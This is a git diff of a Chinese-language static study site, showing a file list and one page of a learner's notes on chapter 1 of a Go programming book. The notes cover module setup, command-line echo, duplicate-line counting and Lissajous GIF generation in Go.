"\345\255\246\344\271\240\350\267\257\347\272\277/index.html" create mode 100644 "\345\255\246\344\271\240\350\267\257\347\272\277/\345\276\256\344\277\241\345\260\217\347\250\213\345\272\217/index.html" create mode 100644 "\345\255\246\344\271\240\350\267\257\347\272\277/\345\276\256\344\277\241\345\260\217\347\250\213\345\272\217/\345\276\256\344\277\241\345\260\217\347\250\213\345\272\217.html" create mode 100644 "\345\255\246\344\271\240\350\267\257\347\272\277/\346\234\272\345\231\250\345\255\246\344\271\240/MOOC_\346\265\213\350\257\225\344\270\216\344\275\234\344\270\232.html" create mode 100644 "\345\255\246\344\271\240\350\267\257\347\272\277/\346\234\272\345\231\250\345\255\246\344\271\240/MachineLearning.html" create mode 100644 "\345\255\246\344\271\240\350\267\257\347\272\277/\346\234\272\345\231\250\345\255\246\344\271\240/index.html" create mode 100644 "\345\255\246\344\271\240\350\267\257\347\272\277/\346\234\272\345\231\250\345\255\246\344\271\240/\346\234\272\345\231\250\345\255\246\344\271\240.html" create mode 100644 "\345\255\246\344\271\240\350\267\257\347\272\277/\347\256\227\346\263\225/LeetCode/LeetCodeNote.html" create mode 100644 "\345\255\246\344\271\240\350\267\257\347\272\277/\347\256\227\346\263\225/LeetCode/index.html" create mode 100644 "\345\255\246\344\271\240\350\267\257\347\272\277/\347\256\227\346\263\225/index.html" create mode 100644 "\347\244\276\345\214\272\347\233\270\345\205\263/Git.html" create mode 100644 "\347\244\276\345\214\272\347\233\270\345\205\263/Gitee.html" create mode 100644 "\347\244\276\345\214\272\347\233\270\345\205\263/Github.html" create mode 100644 "\347\244\276\345\214\272\347\233\270\345\205\263/Gitlab.html" create mode 100644 "\347\244\276\345\214\272\347\233\270\345\205\263/index.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/ATTCK/TA0001-InitialAccess.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/ATTCK/TA0005-DefenseEvasion(\344\270\213).html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/ATTCK/index.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/Web\345\256\211\345\205\250/Web\344\270\273\346\265\201\345\272\224\347\224\250\346\274\217\346\264\236/Shiro/index.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/Web\345\256\211\345\205\250/Web\344\270\273\346\265\201\345\272\224\347\224\250\346\274\217\346\264\236/Struts2/index.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/Web\345\256\211\345\205\250/Web\344\270\273\346\265\201\345\272\224\347\224\250\346\274\217\346\264\236/index.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/Web\345\256\211\345\205\250/Web\346\274\217\346\264\236\351\200\232\347\224\250\345\236\213Python\345\244\215\347\216\260\350\204\232\346\234\254\347\274\226\345\206\231\346\214\207\345\215\227/index.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/Web\345\256\211\345\205\250/index.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/Web\345\256\211\345\205\250/\346\270\227\351\200\217\346\265\213\350\257\225\345\267\245\345\205\267/BurpSuite.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/Web\345\256\211\345\205\250/\346\270\227\351\200\217\346\265\213\350\257\225\345\267\245\345\205\267/index.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/Web\345\256\211\345\205\250/\346\270\227\351\200\217\346\265\213\350\257\225\345\267\245\345\205\267/msf.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/Web\345\256\211\345\205\250/\346\274\217\346\264\236\347\261\273\345\236\213/HTTP\350\257\267\346\261\202\350\265\260\347\247\201/HTTP\350\257\267\346\261\202\350\265\260\347\247\201.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/Web\345\256\211\345\205\250/\346\274\217\346\264\236\347\261\273\345\236\213/HTTP\350\257\267\346\261\202\350\265\260\347\247\201/index.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/Web\345\256\211\345\205\250/\346\274\217\346\264\236\347\261\273\345\236\213/SQL\346\263\250\345\205\245/index.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/Web\345\256\211\345\205\250/\346\274\217\346\264\236\347\261\273\345\236\213/XSS/index.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/Web\345\256\211\345\205\250/\346\274\217\346\264\236\347\261\273\345\236\213/index.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/Web\345\256\211\345\205\250/\346\274\217\346\264\236\347\261\273\345\236\213/\346\232\264\345\212\233\347\240\264\350\247\243/index.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/Web\345\256\211\345\205\250/\346\274\217\346\264\236\347\261\273\345\236\213/\347\233\256\345\275\225\347\251\277\350\266\212/index.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/index.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/kali.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/\344\277\241\346\201\257\346\224\266\351\233\206/index.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/\344\277\241\346\201\257\346\224\266\351\233\206/\346\274\217\346\211\253\345\267\245\345\205\267/AWVS.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/\344\277\241\346\201\257\346\224\266\351\233\206/\346\274\217\346\211\253\345\267\245\345\205\267/index.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/\344\277\241\346\201\257\346\224\266\351\233\206/\347\253\257\345\217\243\346\211\253\346\217\217/index.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/\344\277\241\346\201\257\346\224\266\351\233\206/\347\253\257\345\217\243\346\211\253\346\217\217/nmap.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/\345\206\205\347\275\221\346\270\227\351\200\217/Powershell-Empire.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/\345\206\205\347\275\221\346\270\227\351\200\217/index.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/\345\206\205\347\275\221\346\270\227\351\200\217/\344\273\243\347\220\206\350\275\254\345\217\221.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/\345\212\240\345\257\206\347\256\227\346\263\225/HMAC.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/\345\212\240\345\257\206\347\256\227\346\263\225/Hash.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/\345\212\240\345\257\206\347\256\227\346\263\225/index.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/\346\212\223\345\214\205\345\217\221\345\214\205.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/\347\253\257\347\202\271\345\256\211\345\205\250/AtomicRedTeam/Vectr.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/\347\253\257\347\202\271\345\256\211\345\205\250/AtomicRedTeam/index.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/\347\253\257\347\202\271\345\256\211\345\205\250/Linux/index.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/\347\253\257\347\202\271\345\256\211\345\205\250/Windows/index.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/\347\253\257\347\202\271\345\256\211\345\205\250/index.html" create mode 100644 "\347\275\221\347\273\234\345\256\211\345\205\250/\347\274\226\347\240\201.html" create mode 100644 "\351\200\232\350\257\206/Docker/Docker.html" create mode 100644 "\351\200\232\350\257\206/Docker/Harbor.html" create mode 100644 "\351\200\232\350\257\206/Docker/index.html" create mode 100644 "\351\200\232\350\257\206/Linux.html" create mode 100644 "\351\200\232\350\257\206/VSCode.html" create mode 100644 "\351\200\232\350\257\206/index.html" create mode 100644 "\351\200\232\350\257\206/\345\244\226\350\256\276.html" create mode 100644 "\351\200\232\350\257\206/\346\215\242\346\272\220.html" create mode 100644 "\351\200\232\350\257\206/\346\270\220\346\236\204-\346\226\255\345\242\250\345\257\273\345\276\204.html" create mode 100644 "\351\200\232\350\257\206/\351\200\232\350\257\206.html" diff --git a/.nojekyll b/.nojekyll new file mode 100644 index 0000000000..8b13789179 --- /dev/null +++ b/.nojekyll @@ -0,0 +1 @@ + diff --git a/404.html b/404.html new file mode 100644 index 0000000000..27be55288d --- /dev/null +++ b/404.html @@ -0,0 +1,40 @@ + + +
+ + + + +入门 - Go 语言圣经 (gopl-zh.github.io)
Go 语言有时候被描述为“类 C 语言”,或者是“21 世纪的 C 语言”。Go 从 C 语言继承了相似的表达式语法、控制流结构、基础数据类型、调用参数传值、指针等很多思想,还有 C 语言一直所看中的编译后机器码的运行效率以及和现有操作系统的无缝适配。
在第一章会介绍 Go 语言的基础组件, 提供足够的信息以及示例程序, 目的在于帮助读者尽快入门, 写出有用的程序
Hello, World - Go 语言圣经 (gopl-zh.github.io)
需要先初始化一个 Go 应用
# go mod init [应用名], 例如:
+go mod init GoLearning
+
比如新建一个 HelloWorld.go
package main
+
+import "fmt"
+
+func main(){
+ fmt.Println("Hello World")
+}
+
Go 是一门编译型语言(静态编译), Go 语言的工具链将源代码及其依赖转换成计算机的机器指令
Go 语言提供的工具都可以使用 go
命令来调用, 其包含一系列子命令, 比如
run
命令可以编译一个或多个以 .go
结尾的源文件, 链接库文件, 并运行最终生成的可执行文件build
命令可以将 .go
源文件编译生成对应的可执行的二进制文件, 由于是静态编译, 从而不用担心在系统库更新的时候会产生冲突终端执行 go run HelloWorld.go
或者利用 VSCode+Go 扩展 F5 直接运行此 go 程序文件
Go 语言原生支持 Unicode, 可以处理全世界任何语言的文本
run
命令:
build
命令
Go 语言的代码通过 包(package)
组织, package
类似于其他语言中的 库(libraries)
或者 模块(modules)
一个 package
由位于单个目录下的一个或者多个 .go
源代码文件组成,目录定义 package
的作用。
每个源文件都以一条 package
声明语句开始,这个例子里就是 package main
,表示该文件属于哪个包,紧跟着一系列导入(import)的包,之后是存储在这个文件里的程序语句。
Go 的标准库提供了 100 多个 package
, 以支持常见功能,如输入、输出、排序以及文本处理。比如:
fmt
包含格式化输出、接收输入的函数;
Println
是其中一个基础函数,可以打印以空格间隔的一个或多个值,并在最后添加一个换行符,从而输出一整行。
main
包比较特殊。它定义了一个独立可执行的程序,而不是一个库。在 main
里的 main
函数也很特殊,它是整个程序执行时的入口(译注:C 系语言差不多都这样)。main
函数所做的事情就是程序做的。当然了,main
函数一般调用其它包里的函数完成很多工作(如:fmt.Println
)。
必须告诉编译器源文件需要哪些包,这就是跟随在 package
声明后面的 import
声明扮演的角色。hello world
例子只用到了一个包,大多数程序需要导入多个包。
必须恰当导入需要的包,缺少了必要的包或者导入了不需要的包,程序都无法编译通过。这项严格要求避免了程序开发过程中引入未使用的包(译注:Go 语言编译过程没有警告信息,争议特性之一)。
import
声明必须跟在文件的 package
声明之后。随后,则是组成程序的函数、变量、常量、类型的声明语句(分别由关键字 func
、var
、const
、type
定义)。
学到这里发现最初写的示例下意识开了个目录存放了测试文件, 然后还用了
package main
声明, 感觉不妥:因此还是只保留根目录下的
main
作为主程序入口, 将print hello world
另外定义一个package
和function
存放并在main
中导入使用Relative imports in Go - Stack Overflow
go - func not exported by package. - SegmentFault 思否
新建了一个
pkg
目录用来统一存放自定义的package
, 毕竟后续可能在根目录下添加docs
,.github
之类的, 比如(随手在 Github Activity 中找了个群友 star 的) Go 项目, 目录很规整在
pkg
目录下新建了一个hello
目录用来存放输出语句测试文件这里新建了两个文件, 都使用了同一个
package
名hello_test
不过在
main
中导入包的时候仍用的"GoLearning/pkg/hello"
, 而且如果将其中一个package
名称改为其他名称则会触发报错, 在 "hello" 中找到了多个 package因此合理推测一个文件目录下的 go 文件应当同属一个 package
所以为了统一格式, 不如将该目录下的所有文件的 package 名都直接用目录的名称(除了根目录下的 package main)
在
main.go
中引入了GoLearning/pkg/hello
并给了它一个别名hello
Relative imports in Go - Stack Overflow
在 Hello World 章节最开始做的第一步就是初始化了一个 Go 应用, 在这个过程里就定义了应用名
# go mod init [应用名], 例如: +go mod init GoLearning +
别名不一定和包名一样, 有辨识度即可
此外需要注意的是, 函数名称首字母一定要大写, 否则找不到
go - func not exported by package. - SegmentFault 思否
除此以外, 还需要注意的是, 当模块内只有一个 go 文件时, 该 go 文件不可以
_test
结尾, 否则会被认为是测试文件, 如果在其他模块中需要使用此模块则会引起导入失败
_test
在 Go 中似乎有特殊含义, 随手写模块时需要注意(这部分内容在 Go 语言圣经第 11 章会讲)go test - Go 语言圣经 (gopl-zh.github.io)
测试函数 - Go 语言圣经 (gopl-zh.github.io)
一个函数的声明由 func
关键字、函数名、参数列表、返回值列表以及包含在大括号里的函数体组成。
这个例子里的
main
函数参数列表和返回值都是空的在学习第五章时会进一步考察
function
的用法
Go 语言不需要在语句或者声明的末尾添加分号,除非一行上有多条语句。实际上,编译器会主动把特定符号后的换行符转换为分号,因此换行符添加的位置会影响 Go 代码的正确解析
比如行末是标识符、整数、浮点数、虚数、字符或字符串文字、关键字
break
、continue
、fallthrough
或return
中的一个、运算符和分隔符++
、--
、)
、]
或}
中的一个)。举个例子,函数的左括号
{
必须和func
函数声明在同一行上,且位于末尾,不能独占一行而在表达式
x+y
中,可在+
后换行,不能在+
前换行以+结尾的话不会被插入分号分隔符,但是以 x 结尾的话则会被分号分隔符,从而导致编译错误)。
Golang 单引号、双引号和反引号 - 腾讯云开发者社区-腾讯云 (tencent.com)
需要注意的是, Go 语言中的单引号, 双引号, 反引号的功能是各不相同的
单引号
表示 byte 类型或 rune 类型,对应 uint8 和 int32 类型,默认是 rune 类型。
双引号
才是字符串, 实际上是字符数组; 可以用索引访问某字节, 也可以用 len()
函数来获取字符串所占的字节长度
反引号
表示字符串字面量, 但不支持任何转义序列;
可以理解成 Python 中的 r"string"
, 将内部字符串原样输出, 不转义 \n, \t, \r
等具有特殊含义的字符串
Go 语言在代码格式上采取了很强硬的态度。gofmt
工具把代码格式化为标准格式,并且 go
工具中的 fmt
子命令会对指定包, 否则默认为当前目录中所有 .go
源文件应用 gofmt
命令。
译者注:
- 这个格式化工具没有任何可以调整代码格式的参数,Go 语言就是这么任性
- 这也导致了 Go 语言的 TIOBE 排名较低,因为缺少撕逼的话题)。更重要的是,这样可以做多种自动源码转换,如果放任 Go 语言代码格式,这些转换就不大可能了。
很多文本编辑器都可以配置为保存文件时自动执行 gofmt
,这样你的源代码总会被恰当地格式化。还有个相关的工具:goimports
,可以根据代码需要,自动地添加或删除 import
声明。这个工具并没有包含在标准的分发包中,可以用下面的命令安装:
go get golang.org/x/tools/cmd/goimports
+
VSCode 安装 Go 扩展时应该是已经装了类似的工具了, 这点在个人编辑 go 文件时体会到了
对于大多数用户来说,下载、编译包、运行测试用例、察看 Go 语言的文档等等常用功能都可以用 go 的工具完成。学习 10.7 节 时会详细介绍这些知识。
os
包以跨平台的方式,提供了一些与操作系统交互的函数和变量。程序的命令行参数可从 os
包的 Args
变量获取;
os
包外部使用 os.Args
访问该变量。
os.Args
变量是一个字符串(string)的 切片(slice)(类似于 Python 中的切片, 是一个简化版的动态数组)
例如, 对于切片 a = [1, 2, 3, 4, 5]
可以用 a[i]
访问当个元素, 例如 a[1] = 2
可以用 a[m:n]
访问 a 的子序列, 如 a[0:2] = [1, 2, 3]
左闭右开获取数组元素
package cmd_param
+
+import (
+ "fmt"
+ "os"
+)
+
+// 类似于 echo, 默认分隔符为一个空格
+func Print_cmd_args() {
+ // 定义一个字符串切片, 用于存储命令行参数
+ var getParams string
+ // 分隔符为一个空格
+ var sep string = " "
+ // 第 0 个参数是程序名, 第 1 个参数才是实际传入的首个参数
+ for i := 0; i < len(os.Args); i++ {
+ getParams += os.Args[i] + sep
+ }
+ fmt.Println(getParams)
+}
+
+
导入多个模块时,
gofmt
会按照字典序对模块名排序注释方面与 C/C++ 一致, 单行注释用
//
, 多行注释用/**/
//
到行末之前的内容都是注释, 会被编译器忽略一般来说会在每个包声明前添加注释, 从整体角度对程序做个描述
var 声明定义了两个 string 类型的变量
getParams
和sep
变量会在声明时直接初始化。如果变量没有显式初始化,则被隐式地赋予其类型的 零值(zero value)
数值类型是
0
,字符串类型是空字符串""
如果要在一行里定义两个 string 变量, 可以如下书写:
var getParams, sep string +
+
用于连接字符串
:=
是短变量声明(shrot variable declaration)的一部分, 可用于定义一个或多个变量并根据它们的初始值为这些变量赋予适当类型的语句
a += 1
与a = a + 1
以及a++
等价, 都是语句相对的, 在 C 系语言中,
i++, i--
是表达式, 存在b = a++
的写法, 但是 Go 中不允许这样写此外 Go 中也没有
++i
的写法, 在 Go 中,++
和--
都只能放在变量名后面Go 语言只有 for 循环一种循环语句,
for
循环有很多种形式, 其中一种就如上述代码一样, 形如:for initialization; condition; post { + // zero or more statements +} +
三个部分不需要用括号包围, 但是要有大括号, 且
{
必须与 for 在同一行(像前面说的一样, 因为 Go 编译时会自动给每行加分号, 所以大括号单起一行过不了编译)
initialization
语句是可选的,在循环开始前执行。
initalization
如果存在,必须是一条 简单语句(simple statement),即,短变量声明、自增语句、赋值语句或函数调用。
condition
是一个布尔表达式(boolean expression),其值在每次循环迭代开始时计算。如果为true
则执行循环体语句
post
语句在循环体执行结束后执行,之后再次对condition
求值。condition
值为false
时,循环结束。
for
循环的三个部分都可以省略(分号需要保留, 用于确定位置), 当initialization
和post
都省略时才可以省略分号当三个部分都省略时则构造了个无限循环(类比 Python 中的
While 1:
)// a traditional infinite loop +for { + // ... +} +
可以用
break
或者return
语句终止循环
package main
+
+import (
+ "GoLearning/pkg/cmd_param"
+)
+
+func main() {
+ cmd_param.Print_cmd_args()
+}
+
+
在上述代码中, 命令行参数的获取是这样进行的:
for i := 0; i < len(os.Args); i++ {
+ getParams += os.Args[i] + sep
+}
+
那么首先需要遍历 os.Args
获取其长度, 在进入每次循环时需要先根据索引 i
遍历 os.Args
获取到 os.Args[i]
, 然后再拼接到 getParams
的末尾再拼个空格
可以使用切片来对此步骤进行优化
// 使用切片构造 echo 语句
+func Echo_Slice() {
+ var getParams, sep string
+ sep = " "
+ for _, arg := range os.Args[1:] {
+ getParams += arg + sep
+ }
+ fmt.Println(getParams)
+}
+
Go 中不允许有未使用的局部变量, 但是可以使用空标识符
_
来忽略某个变量
_
可用于在任何语法上需要变量名但是程序逻辑中之处对于已声明的变量, 使用
:=
会报错"no new variables on left side of :="
此时可以使用 = 赋值
每次循环迭代字符串 getParams
的内容都会更新。+=
连接原字符串、空格和下个参数,产生新字符串,并把它赋值给 getParams
。getParams 原来的内容已经不再使用,将在适当时机对它进行垃圾回收。
如果连接涉及的数据量很大,这种方式代价高昂。一种简单且高效的解决方案是使用 strings
包的 Join
函数:
// 使用 strings.Join() 方法构造 echo 语句
+func Echo_Join() {
+ fmt.Println(strings.Join(os.Args[1:], " "))
+}
+
如果不关心输出格式的话, 直接打印 os.Args[1:]
也是可以的
// 不考虑输出格式, 直接打印 os.Args 切片
+func Echo_direct_print_slice() {
+ fmt.Println(os.Args[1:])
+}
+
package main
+
+import (
+ "GoLearning/pkg/cmd_param"
+ "fmt"
+)
+
+func main() {
+ fmt.Println("echo 基本写法:")
+ cmd_param.Print_cmd_args()
+ fmt.Println("echo 切片写法:")
+ cmd_param.Echo_Slice()
+ fmt.Println("echo strings.Join() 写法:")
+ cmd_param.Echo_Join()
+ fmt.Println("echo 直接打印切片:")
+ cmd_param.Echo_direct_print_slice()
+}
+
+
TODO:: 加入计时分析, 以直观地对比各优化版本的实际效果
对文件做拷贝、打印、搜索、排序、统计或类似事情的程序都有一个差不多的程序结构:一个处理输入的循环,在每个元素上执行计算处理,在处理的同时或最后产生输出。
本节展示一个名为dup
的程序的三个版本;灵感来自于 Unix 的 uniq
命令,其寻找相邻的重复行。
dup
的第一个版本打印标准输入中多次出现的行,以重复次数开头。该程序将引入 if
语句,map
数据类型以及 bufio
包。
package ch1
+
+import (
+ "bufio"
+ "fmt"
+ "os"
+)
+
+// 打印标准输入中多次出现的行, 以重复次数开头
+func Dup1() {
+ // 创建一个空的 map, 键为 string, 值为 int
+ counts := make(map[string]int)
+ // 创建一个从标准输入读取数据的 Scanner
+ input := bufio.NewScanner(os.Stdin)
+ // 逐行读取标准输入并更新 map counts
+ for input.Scan() {
+ // 遇到 0 时, input.Scan() 退出循环
+ if input.Text() == "0" {
+ break
+ }
+ counts[input.Text()]++
+
+ }
+ // 注意: 忽略input.Err()中可能的错误
+ for line, n := range counts {
+ if n > 1 {
+ fmt.Printf("%d\t%s\n", n, line)
+ }
+ }
+}
+
+
map 从功能上来说和 Python 的 dict 比较像, 都可以存储键值对
map 存储了键/值(key/value)的集合,对集合元素,提供常数时间的存、取或测试操作。
==
运算符比较,最常见的例子是字符串;内置函数 make
创建空 map
关于 Map 的其他用法学到 4.3 会有一章讲解: Map - Go 语言圣经 (gopl-zh.github.io)
bufio
包使处理输入和输出方便又高效。Scanner
类型是该包最有用的特性之一,它读取输入并将其拆成行或单词;通常是处理行形式的输入最简单的方法。
程序使用短变量声明创建 bufio.Scanner
类型的变量 input
。
input := bufio.NewScanner(os.Stdin)
+
该变量从程序的标准输入中读取内容。每次调用 input.Scan()
,即读入下一行,并移除行末的换行符;读取的内容可以调用 input.Text()
得到。Scan
函数在读到一行时返回 true
,不再有输入时返回 false
。
if 后面跟的条件语句不用括号, 但是主体部分必须加花括号, 就算只有一行也要加
map
中不含某个键时不用担心,首次读到新行时,等号右边的表达式 counts[line]
的值将被计算为其类型的零值,对于 int
即 0
。
关于 Printf 格式化输出:
%d 十进制整数
+%x, %o, %b 十六进制,八进制,二进制整数。
+%f, %g, %e 浮点数: 3.141593 3.141592653589793 3.141593e+00
+%t 布尔:true或false
+%c 字符(rune) (Unicode码点)
+%s 字符串
+%q 带双引号的字符串"abc"或带单引号的字符'c'
+%v 变量的自然形式(natural format)
+%T 变量的类型
+%% 字面上的百分号标志(无操作数)
+
很多程序要么从标准输入中读取数据,如上面的例子所示,要么从一系列具名文件中读取数据。dup
程序的下个版本读取标准输入或是使用 os.Open
打开各个具名文件,并操作它们。
// 统计标准输入或文件中重复的行
+func countLines(f *os.File, counts map[string]int) {
+ input := bufio.NewScanner(f)
+ for input.Scan() {
+ // 遇到 -1 时, input.Scan() 退出循环
+ if input.Text() == "-1" {
+ break
+ }
+ counts[input.Text()]++
+ }
+ // 注意: 忽略input.Err()中可能的错误
+}
+
+// 读取标准输入或是使用 os.Open 打开各个具名文件,并操作它们
+func Dup2() {
+ counts := make(map[string]int)
+ files := os.Args[1:]
+ if len(files) == 0 {
+ countLines(os.Stdin, counts)
+ } else {
+ for _, arg := range files {
+ f, err := os.Open(arg)
+ if err != nil {
+ fmt.Fprintf(os.Stderr, "dup2: %v\n", err)
+ continue
+ }
+ countLines(f, counts)
+ f.Close()
+ }
+ }
+ for line, n := range counts {
+ if n > 1 {
+ fmt.Printf("%d\t%s\n", n, line)
+ }
+ }
+}
+
os.Open
函数返回两个值
*os.File
),其后被 Scanner
读取。error
类型的值 err
等于内置值nil
(相当于其它语言里的 NULL
),那么文件被成功打开。读取文件,直到文件结束,然后调用 Close
关闭该文件,并释放占用的所有资源。err
的值不是 nil
,说明打开文件时出错了。这种情况下,错误值描述了所遇到的问题; 在上面的程序中对于此种情况的处理只是简单地将错误输出了 %v
表示任意类型默认格式值continue
语句直接跳到 for
循环的下个迭代开始执行。关于 CountLines 函数, 其实放在 Dup2 函数后面声明也是可以正常调用的, 不过个人习惯还是写把 Dup2 中要用到的函数写在前面了
函数和包级别的变量(package-level entities)可以任意顺序声明,并不影响其被调用。
map
是一个由 make
函数创建的数据结构的引用。map
作为参数传递给某函数时,该函数接收这个引用的一份拷贝,被调用函数对 map
底层数据结构的任何修改,调用者函数都可以通过持有的 map
引用看到。在我们的例子中,countLines
函数向 counts
插入的值,也会被 Dup2
函数看到。
dup
的前两个版本以"流”模式读取输入,并根据需要拆分成多个行。理论上,这些程序可以处理任意数量的输入数据。
还有另一个方法,就是一口气把全部输入数据读到内存中,一次分割为多行,然后处理它们。下面这个版本,dup3
,就是这么操作的。这个例子引入了 ReadFile
函数(来自于io/ioutil
包),其读取指定文件的全部内容,strings.Split
函数把字符串分割成子串的切片。(Split
的作用与前文提到的 strings.Join
相反。)
// 一次性读取指定文件到内存中, 然后进行分割与计算重复行的操作
+func Dup3() {
+ counts := make(map[string]int)
+ for _, filename := range os.Args[1:] {
+ data, err := ioutil.ReadFile(filename)
+ if err != nil {
+ fmt.Fprintf(os.Stderr, "dup3: %v\n", err)
+ continue
+ }
+ for _, line := range strings.Split(string(data), "\n") {
+ counts[line]++
+ }
+ }
+ for line, n := range counts {
+ if n > 1 {
+ fmt.Printf("%d\t%s\n", n, line)
+ }
+ }
+}
+
ReadFile
函数返回一个字节切片(byte slice),必须把它转换为 string
,才能用 strings.Split
分割。
在 3.5.4 章中会有对字符串和字节切片的详细讲解
实现上,bufio.Scanner
、ioutil.ReadFile
和 ioutil.WriteFile
都使用 *os.File
的 Read
和 Write
方法,但是,大多数程序员很少需要直接调用那些低级(lower-level)函数。高级(higher-level)函数,像 bufio
和 io/ioutil
包中所提供的那些,用起来要容易点。
仔细看上图中的输出会发现 cmd3 只计算到了 2 次, 这是因为文件最后没有换行, 可以将所有键值对输出看看:
可以看到有两个 cmd3
这是因为我们使用的
\n
切分的字符串, Windows 下的默认行尾序列时CRLF
也即\r\n
, VSCode 中可以调节行尾序列, 这里我用的 Windows 系统, VSCode 中默认也是 CRLF, 所以实际上最后三行切分的结果是:cmd3\r
,cmd3\r
,cmd3
; 因此输出的时候会看到两个 cmd3如果修改为根据
\r\n
切分的话就可以得到预期结果了:
除此以外,在 Go 1.16 之后 io/ioutil 已经弃用了
这里可以直接使用
os.ReadFile
, 效果是一样的:
package ch1
+
+import (
+ "image"
+ "image/color"
+ "image/gif"
+ "io"
+ "math"
+ "math/rand"
+ "os"
+ "time"
+)
+
+var palette = []color.Color{color.White, color.Black}
+
+const (
+ whiteIndex = 0 // first color in palette
+ blackIndex = 1 // next color in palette
+)
+
+func LissajousMain() {
+ rand.Seed(time.Now().UTC().UnixNano())
+ lissajous(os.Stdout)
+}
+
+func lissajous(out io.Writer) {
+ const (
+ cycles = 5 // number of complete x oscillator revolutions
+ res = 0.001 // angular resolution
+ size = 100 // image canvas covers [-size..+size]
+ nframes = 64 // number of animation frames
+ delay = 8 // delay between frames in 10ms units
+ )
+ /* rand.Float64() 返回一个 64 位也即小数点后保留 16 位的浮点数 f,
+ 0.0 <= f < 1.0*/
+ freq := rand.Float64() * 3.0 // relative frequency of y oscillator
+ anim := gif.GIF{LoopCount: nframes}
+ phase := 0.0 // phase difference
+ for i := 0; i < nframes; i++ {
+ rect := image.Rect(0, 0, 2*size+1, 2*size+1)
+ img := image.NewPaletted(rect, palette)
+ for t := 0.0; t < cycles*2*math.Pi; t += res {
+ x := math.Sin(t)
+ y := math.Sin(t*freq + phase)
+ img.SetColorIndex(size+int(x*size+0.5), size+int(y*size+0.5),
+ blackIndex)
+ }
+ phase += 0.1
+ anim.Delay = append(anim.Delay, delay)
+ anim.Image = append(anim.Image, img)
+ }
+ // EncodeAll 函数将生成的 gif anim 写入到 out 中
+ gif.EncodeAll(out, &anim) // NOTE: ignoring encoding errors
+}
+
+
line27~33
的常量声明给出了一系列的常量值,常量是指在程序编译后运行时始终都不会变化的值,比如圈数、帧数、延迟值。常量声明和变量声明一般都会出现在包级别,所以这些常量在整个包中都是可以共享的,或者你也可以把常量声明定义在函数体内部,那么这种常量就只能在函数体内用。目前常量声明的值必须是一个数字值、字符串或者一个固定的 boolean 值。
[]color.Color{...}
和 gif.GIF{...}
这两个表达式是复合声明(4.2 和 4.4.1 节有说明)。这是实例化 Go 语言里的复合类型的一种写法。
前者生成的是一个 slice 切片,后者生成的是一个 struct 结构体。
lissajous 函数内部有两层嵌套的 for 循环。外层循环会循环 64 次,每一次都会生成一个单独的动画帧。它生成了一个包含两种颜色的 201*201 大小的图片,白色和黑色。所有像素点都会被默认设置为其零值(也就是调色板 palette 里的第 0 个值),这里我们设置的是白色。每次外层循环都会生成一张新图片,并将一些像素设置为黑色。其结果会 append 到之前结果之后。这里我们用到了 append(参考 4.2.1)内置函数,将结果 append 到 anim 中的帧列表末尾,并设置一个默认的 80ms 的延迟值。循环结束后所有的延迟值被编码进了 GIF 图片中,并将结果写入到输出流。out 这个变量是 io.Writer 类型,这个类型支持把输出结果写到很多目标,很快我们就可以看到例子。
内层循环设置两个偏振值。x 轴偏振使用 sin 函数。y 轴偏振也是正弦波,但其相对 x 轴的偏振是一个 0-3 的随机值,初始偏振值是一个零值,随着动画的每一帧逐渐增加。循环会一直跑到 x 轴完成五次完整的循环。每一步它都会调用 SetColorIndex 来为(x,y)点来染黑色。
main 函数调用 lissajous 函数,用它来向标准输出流打印信息,所以下面这个命令会像图 1.1 中产生一个 GIF 动画。
go build main
+main.exe > out.gif
+
Windows 下需要在 CMD 下执行该命令, 使用 powershell 生成的 gif 文件无法查看, 检查 hex 可以看到一些 00
可参阅:
image - Go-generated animated GIFs didn't work in windows - Stack Overflow
image/gif: result of EncodeAll not viewable in Eye of GNOME · Issue #13746 · golang/go (github.com)
《Go 语言圣经》 读书笔记与个人思考 ① 第一章、包括源码分析 - 小能日记 - 博客园 (cnblogs.com)
如果使用 powershell 重定向管道
go run main.exe > out.gif
生成的 gif 图片将会出错无法打开。具体原因是 powershell 的标准输出流如果进行管道重定向会进行转换。The GIF file (the gif data) is a binary format, not textual. Attempting to write it to the standard output and redirecting that to a file may suffer transformations. For example, the Windows PowerShell most likely converts some control characters (like
"\n"
to"\r\n"
